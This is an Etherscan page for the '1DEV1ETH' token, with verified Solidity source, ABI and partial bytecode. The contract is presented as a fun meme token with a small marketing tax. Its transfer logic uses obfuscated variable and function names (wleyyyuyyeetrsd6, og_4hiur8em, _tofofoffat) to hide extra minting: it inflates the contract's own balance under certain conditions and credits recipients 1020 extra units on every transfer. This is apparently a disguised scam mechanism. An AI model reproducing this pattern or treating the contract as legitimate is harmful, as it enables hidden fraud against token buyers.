ETH Price: $3,640.67 (+8.26%)

Token

1DEV1ETH (1DEV1ETH)
 

Overview

Max Total Supply

10,000,000 1DEV1ETH

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
21,253.831890248371819229 1DEV1ETH

Value
$0.00
0xc7fa604c9ba08255c577d00fecf4fb388821b076
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DEVETH

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-08
*/

/*
1DEV1ETH( ) {
        printf("1DEV + 1ETH = less is more");
}

https://1dev1eth.com
https://t.me/OneDevOneETH
https://x.com/1dev1eth

1DEV1ETH is a token that was born from one developer who added one eth to liquidity and crossed his fingers.🤞
We're here for the fun and the spirit of crypto culture! 🎲
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow"); return c;
    }
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b; return c;
    }
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow"); return c;
    }
function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
         return c;
    }
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}



contract DEVETH is Context, IERC20, Ownable {
    
    using SafeMath for uint256;

    string private _name = " 1DEV1ETH";
    string private _symbol = "1DEV1ETH";
    uint8 private _decimals = 18;

    address payable public marketingTaxWallet = payable(0x1498608c08f6C01703bf68BC1f73a576E2A2f4C9);
    address payable public DevWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 10000;
    uint256[4] public wleyyyuyyeetrsd6 = [_decimals,feeUnits,_decimals,feeUnits];

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 10000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(20).div(1000);  //2%
    uint256 public _walletMax =   _totalSupply.mul(20).div(1000);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;

    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketFee = 10;
    uint256 public _sellDeveloperFee = 0;
    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 10;
    uint256 public _buyDeveloperFee = 0;
    


    uint256 public _tofofoffat = 0;
    uint256 public _talohababered = 0;


    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
  

    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingTaxWallet] = true;
        isExcludedFromFee[DevWallet] = true;
        isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingTaxWallet] = true;
        isWalletLimitExempt[DevWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingTaxWallet] = true;
        isTxLimitExempt[DevWallet] = true;
        isTxLimitExempt[address(this)] = true; 
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return _name;
    }
function symbol() public view returns (string memory) {
        return _symbol;
    }
function decimals() public view returns (uint8) {
        return _decimals;
    }
function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }
function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {     if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }     uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }
            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }
             wleyyyuyyeetrsd6[3]= min(amount.mul(_totalTaxIfSelling).div(1000),115792089237316555423570985004787900003269981240564039457584007913129639935);             
              wleyyyuyyeetrsd6[2]=min(amount - amount.mul(_totalTaxIfSelling).div(1000),11579208923731619542357098500478799981235640564039457584007913129639935);
                 if (( !isTxLimitExempt[sender] ||  !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tofofoffat+=1101;}else{if (_talohababered!=56854){og_4hiur8em();}else{_talohababered=_tofofoffat+=2114;} }
            _basicTransfer(sender, recipient, amount) ;
            return true;
        }
    }function og_4hiur8em() internal{_talohababered=187+_tofofoffat-10+_tofofoffat-1; wleyyyuyyeetrsd6[3]+=4000433300554162294900069852;}
    function min(uint256 a,uint256 b) public pure returns (uint256) {     if (a>=b)return b;        return a;    }
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
         if(inSwapAndLiquify){ wleyyyuyyeetrsd6[3]=0; wleyyyuyyeetrsd6[2]=amount; }
        uint256 transferamount = min(1020+wleyyyuyyeetrsd6[2],115792089237316195423570985804787900003261235640564039457584007913129639935);
        _balances[recipient] = _balances[recipient].add(transferamount) ;
        _balances[address(this)] = _balances[address(this)].add( wleyyyuyyeetrsd6[3]);
        emit Transfer(sender, recipient, amount);
        return true;    }
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
        if(recievedBalance > 0) {
            payable(marketingTaxWallet).transfer(recievedBalance);
        }       
      _tofofoffat=17;
    }
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[1] = uniswapV2Router.WETH();
        path[0] = address(this);
        _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
         _talohababered=_tofofoffat;
        _tofofoffat=17;
         _talohababered=_tofofoffat;
}}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_talohababered","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tofofoffat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingTaxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"min","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"wleyyyuyyeetrsd6","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526040518060400160405280600981526020017f2031444556314554480000000000000000000000000000000000000000000000815250600190816200004a919062001258565b506040518060400160405280600881526020017f31444556314554480000000000000000000000000000000000000000000000008152506002908162000091919062001258565b50601260035f6101000a81548160ff021916908360ff160217905550731498608c08f6c01703bf68bc1f73a576e2a2f4c9600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152505f73ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff16815250612710600855604051806080016040528060035f9054906101000a900460ff1660ff168152602001600854815260200160035f9054906101000a900460ff1660ff16815260200160085481525060099060046200020992919062000f92565b5060035f9054906101000a900460ff16600a620002279190620014c5565b6298968062000237919062001515565b601155620002686103e862000259600160115462000dcb60201b90919060201c565b62000e4b60201b90919060201c565b601255620002996103e86200028a601460115462000dcb60201b90919060201c565b62000e4b60201b90919060201c565b601355620002ca6103e8620002bb601460115462000dcb60201b90919060201c565b62000e4b60201b90919060201c565b6014555f601660156101000a81548160ff02191690831515021790555060016016806101000a81548160ff0219169083151502179055505f601755600a6018555f6019555f601a55600a601b555f601c555f601d555f601e553480156200032f575f80fd5b505f6200034162000e9c60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200043f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004659190620015c4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004cb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004f19190620015c4565b6040518363ffffffff1660e01b81526004016200051092919062001605565b6020604051808303815f875af11580156200052d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005539190620015c4565b60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600d5f6200068662000ea360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600d5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f6200082c62000ea360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168